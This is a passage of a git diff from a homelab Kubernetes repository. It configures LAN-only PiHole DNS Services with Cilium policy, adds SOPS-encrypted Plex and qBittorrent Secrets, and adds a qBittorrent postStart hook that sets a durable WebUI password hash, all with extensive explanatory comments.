+# split into two Services sharing one address via lbipam.cilium.io/sharing-key — the same
+# arrangement unifi and crafty use. BOTH PROTOCOLS ARE REQUIRED, not belt-and-braces: UDP is the
+# normal query path, and TCP is what a resolver falls back to for any answer that does not fit in a
+# UDP datagram and what some clients use unconditionally. A UDP-only resolver fails intermittently
+# and confusingly.
+#
+# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
+# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their address as a PUBLIC
+# Cloudflare record. This Service must not: `pihole-dns.${BASE_DOMAIN}` is answered by PiHole itself
+# (catalog/pihole.yaml's dnsmasq override), it is an RFC1918 address that is useless in public DNS,
+# and publishing a resolver's address in a public zone invites exactly the traffic the source-range
+# filter below exists to refuse. Internal name, internal answer, no public record — which is also
+# why this change touches nothing under platform/externaldns/.
+#
+# -------------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — AND WHY IT IS NOT `Local`, WHICH IS WHAT unifi AND crafty USE.
+# -------------------------------------------------------------------------------------------------
+# `Local` is the obvious choice: it preserves the client source IP and, in theory, pins the VIP to
+# the node running the backend. The second half is NOT TRUE on this cluster, and that was measured,
+# not assumed (Cilium 1.20.1, prod, 2026-09-14):
+#
+#   * Cilium's L2 announcer elects one lease holder per Service among the nodes matching the
+#     CiliumL2AnnouncementPolicy's nodeSelector — `default-l2` matches ALL linux nodes — and it does
+#     NOT filter that candidate set by which nodes hold a backend. Created fresh, the two Services
+#     landed on DIFFERENT nodes (`cilium-l2announce-pihole-pihole-dns-tcp` -> k3s-prod-3,
+#     `-udp` -> k3s-prod-2) while the pihole pod ran on k3s-prod-1.
+#   * With `Local`, a node that announces the VIP but holds no backend has nowhere to send the
+#     packet, and the query fails with ICMP port unreachable (dig: "connection refused"). On three
+#     nodes with one replica that is a 1-in-3 chance of working, drawn independently per protocol.
+#   * It does not self-heal. The lease holder keeps RENEWING after the pod moves away: a pod
+#     rescheduled from k3s-prod-1 to k3s-prod-2 left the lease on k3s-prod-1, still renewing three
+#     minutes later, with LAN resolution dead the whole time. Only deleting the Lease forced a
+#     re-election — and that re-election is random, so it may pick a backend-less node again.
+#
+# A resolver that works one time in three and stays broken after any reschedule is not a resolver.
+# `Cluster` makes every node able to serve the VIP by forwarding to wherever the pod is, which is
+# what makes this survive a reschedule and a rebuild. VERIFIED in exactly the broken arrangement
+# above — leases on k3s-prod-2 and k3s-prod-3, pod on k3s-prod-1 — udp/53, tcp/53 and recursion all
+# answering.
+#
+# THE COST, STATED PLAINLY: Cilium runs in SNAT mode here (no `loadBalancer.mode: dsr` in
+# platform/cilium/helmrelease.yaml), so a query forwarded between nodes reaches PiHole with the
+# INGRESS NODE's address as its source, not the client's. PiHole's per-client query log, per-client
+# groups and per-client rate limiting therefore see one apparent client instead of the LAN. Two
+# consequences are handled: the rate limit is disabled in catalog/pihole.yaml (otherwise the whole
+# LAN counts as one client against PiHole's 1000-queries-per-60s default and PiHole starts
+# REFUSING), and the LAN restriction is enforced in the datapath rather than by source identity —
+# see loadBalancerSourceRanges below. The fix that would restore client IPs is `loadBalancer.mode:
+# dsr` on the Cilium HelmRelease, which is a platform-wide change with an Ansible [parity] contract
+# and would also fix the same latent defect in unifi and crafty; it belongs in its own change.
+#
+# -------------------------------------------------------------------------------------------------
+# loadBalancerSourceRanges — THE LAN RESTRICTION, ENFORCED IN THE DATAPATH.
+# -------------------------------------------------------------------------------------------------
+# Cilium enforces this list in eBPF on the ingress node, on the VIP, BEFORE load-balancing and
+# before SNAT. A packet to ${PIHOLE_DNS_VIP}:53 from outside ${LAN_CIDR} is dropped by the
+# datapath — it never reaches a backend and never reaches a network policy. This is what makes
+# "LAN clients only" a real, tested restriction rather than a comment: VERIFIED by narrowing the
+# range to a /24 that excludes the test client, after which the same query that had been answering
+# stopped being answered at all, and restoring it, after which it answered again.
+#
+# It is also the layer that survives the SNAT above. A CiliumNetworkPolicy cannot express this
+# restriction once the source has been rewritten: measured on this cluster, the forwarded query
+# arrives from the ingress node's internal router address and Cilium resolves that source to the
+# reserved `world` identity, which a `fromCIDR` clause does not match even when the CIDR covers the
+# address (tried: fromCIDR ${CLUSTER_POD_CIDR}, still dropped as `world`). So the peer restriction
+# lives here, where it is actually enforceable, and the policy below restricts the PORTS.
+apiVersion: v1
+kind: Service
+metadata:
+  name: pihole-dns-udp
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+  annotations:
+    lbipam.cilium.io/sharing-key: "pihole-dns"
+    lbipam.cilium.io/ips: "${PIHOLE_DNS_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  loadBalancerSourceRanges:
+    - ${LAN_CIDR}
+  selector:
+    app.kubernetes.io/name: pihole
+  ports:
+    - { name: dns-udp, port: 53, targetPort: 53, protocol: UDP }
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: pihole-dns-tcp
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+  annotations:
+    lbipam.cilium.io/sharing-key: "pihole-dns"   # same key + same IP => shares the VIP with -udp
+    lbipam.cilium.io/ips: "${PIHOLE_DNS_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  loadBalancerSourceRanges:
+    - ${LAN_CIDR}
+  selector:
+    app.kubernetes.io/name: pihole
+  ports:
+    - { name: dns-tcp, port: 53, targetPort: 53, protocol: TCP }
+---
+# =================================================================================================
+# NETWORK POLICY — a NEW ingress path from off-cluster, restricted to the two DNS ports.
+# =================================================================================================
+# The pihole namespace is default-deny on ingress (the baseline NetworkPolicy in the rendered
+# apps/wave-0/pihole.yaml: `ingress: []`). Cilium enforces the UNION of that NetworkPolicy and the
+# CiliumNetworkPolicies in the namespace, so this file ADDS one path and nothing else. Everything
+# undeclared stays denied, and the existing `pihole-allow-gateway-ingress` (Gateway -> :4180, the
+# oauth2-proxy gate in front of the admin UI) is untouched. PiHole's own :80 is NOT in this rule:
+# the admin UI stays reachable only through the Gateway and oauth2-proxy, and a LAN client that
+# talks to ${PIHOLE_DNS_VIP} on any port other than 53 gets nothing — there is no Service port for
+# it and no policy for it.
+#
+# PORTS ARE THE NARROWING HERE; THE LAN RESTRICTION IS THE SOURCE-RANGE FILTER ABOVE. The peer is
+# `world` for a mechanical reason, not a lazy one: with externalTrafficPolicy Cluster in Cilium's
+# SNAT mode a forwarded query arrives from the ingress node's internal router address, which Cilium
+# resolves to the reserved `world` identity — a `fromCIDR` clause does not match it, which was
+# measured (a fromCIDR of ${CLUSTER_POD_CIDR}, which contains that address, still produced
+# "Policy denied ... identity world" drops in `cilium-dbg monitor`). So `world` is the only peer
+# selector that can describe LAN traffic that has been through the LoadBalancer, and the set of
+# addresses that can actually BE that traffic is fixed by loadBalancerSourceRanges before this
+# policy is consulted. Together: ${LAN_CIDR} in the datapath, udp/53 + tcp/53 here.
+#
+# This is NOT wider than the precedent it follows. unifi-allow-l4-ingress and crafty-allow-ingress
+# admit `fromEntities: [world, cluster, host]` on their L4 ports with NO source-range filter at all;
+# this rule admits fewer entities (no `cluster` — in-cluster pods resolve through CoreDNS and none
+# needs PiHole on :53) on fewer ports, behind a filter those two do not have.
+#
+# WHAT REMAINS REACHABLE WITHOUT THE VIP, ACKNOWLEDGED: Cilium applies source ranges to the
+# LoadBalancer address, not to the NodePorts the same Services allocate, so a host that can route to
+# a node IP can still reach udp/53 and tcp/53 through the NodePort. On this LAN that is the same
+# population the source range admits, and nothing at the edge forwards 53 inward, so PiHole is not
+# an internet-facing open resolver. Say so out loud rather than implying the filter is total.
+#
+# `host` and `remote-node` are named explicitly because node-sourced traffic carries a reserved
+# Cilium identity that no CIDR or `world` selector matches: the kubelet's probes and the
+# node-to-node forwarding that IS the Cluster-policy datapath both need them.
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: pihole-allow-lan-dns-ingress
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: pihole
+  ingress:
+    - fromEntities:
+        - world         # LAN clients, post-LoadBalancer: see the block above for why not fromCIDR
+        - host          # this node's kubelet probes
+        - remote-node   # the node-to-node hop that forwards a query to wherever the pod runs
+      toPorts:
+        - ports:
+            - { port: "53", protocol: UDP }
+            - { port: "53", protocol: TCP }

apps/wave-0/pihole.yaml

@@ -81,6 +81,15 @@ spec:
         image: pihole/pihole
         ports:
         - containerPort: 80
+        env:
+        - name: FTLCONF_dns_listeningMode
+          value: ALL
+        - name: FTLCONF_dns_upstreams
+          value: 8.8.8.8;8.8.4.4
+        - name: FTLCONF_dns_rateLimit_count
+          value: '0'
+        - name: FTLCONF_misc_dnsmasq_lines
+          value: address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}
         volumeMounts:
         - name: config
           mountPath: /data/config
@@ -223,6 +232,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -239,26 +249,6 @@ spec:
     - name: pihole
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: pihole
-  namespace: pihole
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: pihole
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: pihole
-  namespaceSelector:
-    matchNames:
-    - pihole
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -273,11 +263,11 @@ spec:
   - name: pihole.slis
     rules:
     - alert: pihole-down
-      expr: up{job="pihole"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"} == 0 or absent(kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"})
       for: 5m
       labels:
         severity: critical
         service: pihole
       annotations:
         summary: pihole is down
-        description: 'pihole has been unreachable for 5m (SLI: up).'
+        description: 'pihole: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/plex-claim-secret.sops.yaml

@@ -0,0 +1,77 @@
+# Plex plex.tv server-claim token (WS-APPS). SOPS-encrypted (age).
+# Consumed by catalog/plex.yaml as env PLEX_CLAIM via valueFrom.secretKeyRef.
+#
+# NOTE ON THESE COMMENTS: they carry NO dollar-brace expressions, deliberately. This file is applied
+# by the apps-wave-0 Flux Kustomization, which runs envsubst over the built output, and kustomize
+# preserves body comments into that stream (see conformance/tests/l0-static/flux-postbuild-
+# substitution). A braced token quoted from the upstream shell script would be a live hazard here,
+# not prose, so the upstream conditions below are described in words.
+#
+# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
+# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
+# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
+# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
+# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
+#
+# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
+# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
+# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
+# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
+#
+# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
+# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
+# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
+#
+# WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
+# s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
+# the same file extracted from the running `plexinc/pms-docker:latest` image):
+#   - line 106 guards the claim exchange on TWO conditions: PLEX_CLAIM non-empty AND the
+#     PlexOnlineToken pref read out of /config empty. Once the server is claimed that block is
+#     skipped entirely, so whatever this Secret holds is a NO-OP on every later start. Upstream
+#     README: "If server is already logged in, this parameter is ignored."
+#   - on a still-UNCLAIMED /config, an invalid or expired token makes plex.tv answer 403 with an
+#     empty body. curl's exit status is never checked, the sed for the authentication-token element
+#     yields the empty string, and the success branch at line 120 simply does not fire. There is no
+#     else branch and no non-zero exit; the script has no `set -e` and ends by touching
+#     /.firstRunComplete and echoing, so it exits 0. The server comes up UNCLAIMED and serving.
+#     It does NOT crashloop.
+#   - the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS, whose default is 0 ("continue silently even
+#     if a cont-init script failed"), so even a hypothetical non-zero exit would not halt startup.
+# A MISSING Secret would NOT be safe: the ServiceDefinition schema's valueFrom.secretKeyRef shape
+# has no `optional` field, so an absent Secret is a hard CreateContainerConfigError. That is exactly
+# why this file is committed and listed in apps/wave-0/kustomization.yaml instead of being created
+# by hand at claim time.
+#
+# INJECTION / ROTATION (operator, not agents) — runbooks/plex-claim.md has the timed procedure:
+#   infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
+# Never decrypt this file into a shell, a log, or a shared terminal.
+apiVersion: v1
+kind: Secret
+metadata:
+    name: plex-claim
+    namespace: plex
+    labels:
+        app.kubernetes.io/name: plex
+type: Opaque
+stringData:
+    PLEX_CLAIM: ENC[AES256_GCM,data:nLmzeUBWRhRjUakrGiGzQpQuqZNcIYvRH6M=,iv:z0on/dArsNejNLrp3V1nSiNLFzKcREhPuMO1634CwQw=,tag:Ih23CT1JYna/5lfYQUb1Dw==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSA2dWtqOVNQalZ2QlRxOXJa
+            cDc1MTdtWENkdWIxS1JId3dIU1JDSmk0ODNrCk1YUzhFWXR3bUxyV2NNcmFOakdz
+            THl1Q284dFJxTy9Rd1h0eXJJaVZtdmcKLS0tIERuN0ZFeW9zdi9aNFRYNWxmUS9s
+            QUtYdHEvN042ajNoNktOLzlYQmQrc1kK4NHozMbXVzNGYbUBRbK6a9Uw/sVPAfe6
+            RW5KWzZ4I/hloqjN3zzVISoSMieMkBGDnF5qZS5N6FqIc6/HrsDD8A==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-09-29T06:31:16Z"
+    mac: ENC[AES256_GCM,data:62BmBAq45CD2g6LDyx+Ho4bTfrhJcaro/RB/iM+OaRc4a/D83MhjbcBL11Uz/O726inqhkvCKDJ/fFemoc50JDbtC79cYMaxrGJNjFM0sdckWrowPvh6ie7HHHUBRBaefl+gNfnc+pbvcncvRzwA4RyzcZse1wbxKfHN8FjEopE=,iv:h0cMShs3tIgnY6eruUYymYrcLFzQZLk/uXQJ/Jsd5ek=,tag:nZ9Pau7p4xWT1QCN1vv2vA==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/plex.yaml

@@ -132,6 +132,11 @@ spec:
           value: Etc/UTC
         - name: ALLOWED_NETWORKS
           value: 10.0.0.0/8,192.168.0.0/16
+        - name: PLEX_CLAIM
+          valueFrom:
+            secretKeyRef:
+              name: plex-claim
+              key: PLEX_CLAIM
         volumeMounts:
         - name: config
           mountPath: /config
@@ -244,26 +249,6 @@ spec:
     - name: plex
       port: 32400
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: plex
-  namespace: plex
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: plex
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: plex
-  namespaceSelector:
-    matchNames:
-    - plex
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -278,11 +263,11 @@ spec:
   - name: plex.slis
     rules:
     - alert: plex-down
-      expr: up{job="plex"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="plex", deployment="plex"} == 0 or absent(kube_deployment_status_replicas_available{namespace="plex", deployment="plex"})
       for: 5m
       labels:
         severity: critical
         service: plex
       annotations:
         summary: plex is down
-        description: 'plex has been unreachable for 5m (SLI: up).'
+        description: 'plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/qbittorrent-bootstrap-secret.sops.yaml

@@ -0,0 +1,60 @@
+# qBittorrent DURABLE WebUI credential (WS-APPS). SOPS-encrypted (age), decrypted in-cluster by Flux.
+#
+# WHY THIS FILE EXISTS (defect, measured on prod 2026-09-13):
+#   qBittorrent.conf on the config PVC carried NEITHER `WebUI\Username` NOR
+#   `WebUI\Password_PBKDF2`. qBittorrent 5.x treats that as "no credential set" and generates a NEW
+#   random `admin` password on EVERY process start, announcing it ONLY on stdout ("A temporary
+#   password is provided for this session: ..."). Consequences, both real: (a) Sonarr's and Radarr's
+#   saved download-client credentials stop working at the next qbittorrent pod restart, silently
+#   breaking Completed Download Handling; (b) a human operator has no stable login at all and must
+#   read the pod log after every restart.
+#
+# HOW IT IS APPLIED: catalog/qbittorrent.yaml's app container reads BOTH keys below as env
+#   (QBT_WEBUI_USERNAME / QBT_WEBUI_PASSWORD) and its `lifecycle.postStart` hook — the same idiom as
+#   gitea's break-glass admin bootstrap — DERIVES the PBKDF2-HMAC-SHA512 digest qBittorrent stores
+#   and asserts both keys into /config/qBittorrent/qBittorrent.conf on EVERY container start, then
+#   verifies the WebUI actually accepts them. Level-triggered: a pod restart, a config-PVC restore
+#   from an older backup, and a rebuild-from-git onto an EMPTY PVC all end with this SAME
+#   credential, because the hook re-asserts it on every start rather than once.
+#
+# webui-username: the WebUI account name. qBittorrent has exactly ONE local account, and `admin` is
+#   the name its own temporary-password path uses, so keeping it avoids inventing a second identity.
+# webui-password: the durable plaintext. It is ALSO what Sonarr's and Radarr's download-client
+#   entries store in their own databases (app state on their config PVCs, NOT in git — see
+#   DECISIONS-LOG), so rotating it here means re-pointing both arrs.
+#   Deliberately alphanumeric: it travels through a urlencoded WebAPI login body and two arr JSON
+#   payloads, and a shell/URL-special character in any of those is a bug waiting to happen.
+#
+# NEVER put a value in a comment: SOPS does NOT encrypt comments.
+# Recover with: infra/devcontainer/dev.sh run sops -d apps/wave-0/qbittorrent-bootstrap-secret.sops.yaml
+apiVersion: v1
+kind: Secret
+metadata:
+    name: qbittorrent-bootstrap
+    namespace: qbittorrent
+    labels:
+        app.kubernetes.io/name: qbittorrent
+type: Opaque
+stringData:
+    webui-username: ENC[AES256_GCM,data:P022nG0=,iv:MXcCXsD5hs7MAJ+OAYHkZ3pXep7XGPqeAExChoqna08=,tag:WE34mxtfQRgiwPRaDA12pQ==,type:str]
+    webui-password: ENC[AES256_GCM,data:+Lx0Ny7SBZeF/CzQYm8umntw27ewyXS7unWObpl0fCg=,iv:JkAtublBMS7SJUutAFip1XjdmsKnGe+S2E9QDT4rCJk=,tag:MYptPVgoEUEpXe5kmg1xIg==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB1aWpUY04wZHoyWVdPbGU2
+            TC9vaU5oYmhWSVh3YWVTdzkvU3Axdlh6QVFZCkV4MldaZXNyam5CejQyZStyczJ3
+            UStFd0hRQmRsNGZLVEVTRnVjWXp6SVkKLS0tICtkWlRqVGN5OWYvVnZUaHYvbEZv
+            VWtHMVdDU3hmdXo1TndLb05zQzJ0S28KfqlDBTocO0ZAKtH6ad/00EeVRqZ7WMwv
+            FP2evd5vyn95QQICWhY/LH6EKbwVVlcIlL7i9l8K3kK4Ebdk54mAyw==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-09-13T05:23:23Z"
+    mac: ENC[AES256_GCM,data:hQ7jIgFqpNcFY5H4AfMxuslC2R/2wGmGWtghemOmTUUipSdoGdbNjWGQhxzk40lFjw6Zj2b+buOpXpg70s4xr+4feusqa2TJ3+bxAuRWmuZpTQAU2OaO5v0SdDEs3gwKm2mA3JFo/e6POm/P/kf2GIECcyU1AciZQt6ws7UJmQc=,iv:6SF0ZAuzHQThD/FGbWhFfa4dXU8hyW8jWFiDmwgfFU8=,tag:31i8HM2s/mGeS4zvFxO53Q==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/qbittorrent.yaml

@@ -130,12 +130,31 @@ spec:
           value: '1000'
         - name: PGID
           value: '3000'
+        - name: QBT_WEBUI_USERNAME
+          valueFrom:
+            secretKeyRef:
+              name: qbittorrent-bootstrap
+              key: webui-username
+        - name: QBT_WEBUI_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: qbittorrent-bootstrap
+              key: webui-password
         volumeMounts:
         - name: config
           mountPath: /config
         - name: downloads
           mountPath: /downloads
           subPath: downloads
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
+              - "# Assert the durable WebUI credential in the config PVC's qBittorrent.conf, then PROVE the\n# running WebUI accepts it. Idempotent: the steady-state path writes nothing at all.\n#\n# THIS SCRIPT CONTAINS NO BRACED DOLLAR EXPANSION AT ALL, AND THAT IS DELIBERATE.\n# apps-wave-0 declares postBuild.substituteFrom cluster-vars, so Flux runs envsubst over\n# this whole manifest at RECONCILE time. The repo's escape contract (double the dollar;\n# enforced by render.py's assert_substitution_safe) makes such a form correct ON THE\n# CLUSTER \u2014 but only there:\n# envsubst collapses the doubled dollar, so the SAME text run any other way (a `kubectl\n# apply` of the golden, which runs no envsubst; a hand `kubectl exec` of the script during\n# development) keeps the doubled dollar, which bash reads as its own PID. Not hypothetical;\n# see the PORT comment below for the bug it actually caused here. Bare `$VAR` and `$(cmd)`\n# are untouched by envsubst, so they are used throughout and the script behaves IDENTICALLY\n# however it is run.\nset -u\nCONF=/config/qBittorrent/qBittorrent.conf\nSVC=/run/service/svc-qbittorrent\n# The WebUI's listening port, as a LITERAL. It matches ingressRoutes[0].port in this\n# ServiceDefinition \u2014 which is the single place the renderer takes the containerPort, the\n# Service port and the HTTPRoute backend port from \u2014 and the image exposes no WEBUI_PORT\n# env var for a lookup to read anyway.\n# It USED to be a doubled-dollar default-operator expansion of a WEBUI_PORT env var, and\n# that cost real time: run without envsubst, bash read the doubled dollar as its own PID,\n# so PORT became \"<pid>{WEBUI_PORT:-8080}\" \u2014 the brace never expanded, the digits never\n# matched. Every curl below then got an unparseable URL, returned nothing, and the hook\n# logged \"the WebUI rejected the durable\n# credential\" \u2014 having never actually asked it. That MISDIAGNOSIS is preserved in this\n# service's own marker log at 2026-09-13T05:35Z (three \"rejected\" lines, then GAVE UP,\n# against a WebUI that accepted the credential perfectly well). A literal cannot be mangled.\nPORT=8080\n# A postStart hook's stdout/stderr goes to the KUBELET, not to `kubectl logs` \u2014 so a hook\n# that only echoes is effectively silent (gitea's hits the same wall and writes a marker\n# file for it). Every outcome therefore also lands, timestamped, on the persistent config\n# volume: /config/qbittorrent-webui-cred.log is where an operator looks to see whether the\n# credential from git was asserted and accepted on this start.\nlog() {\n  echo \"[qbt-webui-cred] $*\"\n  printf '%s [qbt-webui-cred] %s\\n' \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\" \"$*\" \\\n    >> /config/qbittorrent-webui-cred.log 2>/dev/null || true\n}\n\n# (1) The image's init-qbittorrent-config copies /defaults/qBittorrent.conf onto the PVC\n#     before it starts the service. Wait (bounded, ~30s) so we EDIT that file instead of\n#     racing to create one it would then not overwrite.\nn=0\nwhile [ ! -s \"$CONF\" ] && [ \"$n\" -lt 120 ]; do n=$((n + 1)); sleep 0.25; done\n\nwaited=0\nattempt=0\nwhile [ \"$attempt\" -lt 3 ]; do\n  attempt=$((attempt + 1))\n\n  # (2) Converge the conf. 0 = already correct (steady state: NO write, NO re-salt),\n  #     10 = rewritten, anything else = could not write.\n  python3 - \"$CONF\" <<'PY'\nimport base64, hashlib, hmac, os, stat, sys\n\nconf = sys.argv[1]\nuser = os.environ.get(\"QBT_WEBUI_USERNAME\", \"\")\npw = os.environ.get(\"QBT_WEBUI_PASSWORD\", \"\")\nif not user or not pw:\n    sys.stderr.write(\"[qbt-webui-cred] credential env is empty - refusing to touch the conf\\n\")\n    raise SystemExit(1)\n\n# qBittorrent's OWN parameters (base/utils/password.cpp): PBKDF2-HMAC-SHA512, 100000\n# iterations, 16-byte random salt, 64-byte digest, stored as\n#   WebUI\\Password_PBKDF2=\"@ByteArray(<base64 salt>:<base64 digest>)\"\n# Get any one of them wrong and the app simply rejects every login.\nITERATIONS, DIGEST_LEN, SALT_LEN = 100000, 64, 16\nUKEY, PKEY, SECTION = \"WebUI\\\\Username\", \"WebUI\\\\Password_PBKDF2\"\
+                , \"[Preferences]\"\n\ndef matches(raw):\n    \"\"\"True iff the stored digest is one OUR password produces (salt is read from it).\"\"\"\n    v = raw.strip().strip('\"')\n    if v.startswith(\"@ByteArray(\") and v.endswith(\")\"):\n        v = v[len(\"@ByteArray(\"):-1]\n    try:\n        salt_b64, digest_b64 = v.split(\":\", 1)\n        salt = base64.b64decode(salt_b64, validate=True)\n        digest = base64.b64decode(digest_b64, validate=True)\n    except Exception:\n        return False\n    if not salt or not digest:\n        return False\n    return hmac.compare_digest(\n        hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, len(digest)), digest)\n\ntry:\n    lines = open(conf, encoding=\"utf-8\", errors=\"replace\").read().splitlines()\nexcept FileNotFoundError:\n    lines = []\n\ndef value_of(key):\n    for i, line in enumerate(lines):\n        if line.startswith(key + \"=\"):\n            return i, line.split(\"=\", 1)[1]\n    return -1, None\n\nui, uval = value_of(UKEY)\npi, pval = value_of(PKEY)\nif uval == user and pval is not None and matches(pval):\n    raise SystemExit(0)          # converged - leave the file (and its salt) alone\n\nsalt = os.urandom(SALT_LEN)\ndigest = hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, DIGEST_LEN)\nstored = base64.b64encode(salt).decode() + \":\" + base64.b64encode(digest).decode()\ndesired = [UKEY + \"=\" + user, PKEY + '=\"@ByteArray(' + stored + ')\"']\n\nout = [line for i, line in enumerate(lines) if i not in (ui, pi)]\nif SECTION in out:\n    at = out.index(SECTION) + 1\nelse:\n    if out and out[-1].strip():\n        out.append(\"\")\n    out.append(SECTION)\n    at = len(out)\nout[at:at] = desired\n\ntry:\n    os.makedirs(os.path.dirname(conf) or \".\", exist_ok=True)\n    tmp = conf + \".webui-cred.new\"\n    with open(tmp, \"w\", encoding=\"utf-8\") as fh:\n        fh.write(\"\\n\".join(out) + \"\\n\")\n        fh.flush()\n        os.fsync(fh.fileno())\n    # This hook runs as ROOT; the service runs as PUID:PGID. A root-owned 0600 conf would\n    # cost the app the ability to save its own settings, so carry the ownership over.\n    try:\n        st = os.stat(conf)\n        os.chown(tmp, st.st_uid, st.st_gid)\n        os.chmod(tmp, stat.S_IMODE(st.st_mode))\n    except FileNotFoundError:\n        os.chown(tmp, int(os.environ.get(\"PUID\", \"1000\")),\n                 int(os.environ.get(\"PGID\", \"1000\")))\n        os.chmod(tmp, 0o664)\n    os.replace(tmp, conf)        # atomic: the app never reads a half-written conf\nexcept OSError as exc:\n    sys.stderr.write(\"[qbt-webui-cred] cannot write %s: %s\\n\" % (conf, exc))\n    raise SystemExit(1)\nraise SystemExit(10)\nPY\n  rc=$?\n\n  if [ \"$rc\" = 0 ]; then\n    log \"conf already holds the durable credential for '$QBT_WEBUI_USERNAME' (no write)\"\n  elif [ \"$rc\" = 10 ]; then\n    log \"asserted WebUI Username + Password_PBKDF2 into $CONF\"\n    # postStart runs CONCURRENTLY with the s6 init chain, so qbittorrent-nox may ALREADY\n    # have read the old, credential-less conf and be serving a random temporary password.\n    # Restart the SUPERVISED SERVICE (not the pod) so it re-reads what was just written.\n    # Nothing to do when the service has not started yet - it will read the new file.\n    # Its own counter, NOT the shared `waited` API budget: sharing one counter is how the\n    # 2026-09-13 failure spent the entire verification budget before the first login and\n    # then fired attempts 2 and 3 with no wait left at all.\n    sv=0\n    while [ \"$sv\" -lt 60 ] && [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" != \"true\" ]; do\n      sv=$((sv + 1)); sleep 1\n    done\n    if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n      log \"qbittorrent-nox was already running - restarting it to load the credential\"\n      s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\"\n      sleep 3\n    fi\n  else\n    log \"FAILED to write the credential into $CONF (helper exit $rc). The WebUI will keep\" >&2\n    log \"minting a random password\
